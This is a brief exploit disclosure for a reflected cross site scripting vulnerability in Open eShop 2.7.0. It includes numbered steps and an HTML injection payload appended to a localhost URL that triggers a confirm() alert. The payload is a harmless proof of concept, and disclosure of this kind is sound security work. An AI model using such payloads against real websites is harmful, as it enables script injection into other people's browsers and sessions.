Headline
Open eShop 2.7.0 Cross Site Scripting
Open eShop version 2.7.0 suffers from a cross site scripting vulnerability.
Change Mirror Download
# Exploit Title: Open eShop Version : 2.7.0 - Reflected XSS# Exploit Author: tmrswrr # Vendor Homepage: http://www.open-eshop.com/# Version : 2.7.0# Date : 04/08/20241 ) Go to home page https://127.0.0.1/Open_eShop2 ) Write url this payload : test.html"><img src=x onerrora=confirm() onerror=confirm(1)>3 ) After save it you will be see xss alerthttps://127.0.0.1/Open_eShop/test.html"><img src=x onerrora=confirm() onerror=confirm(1)>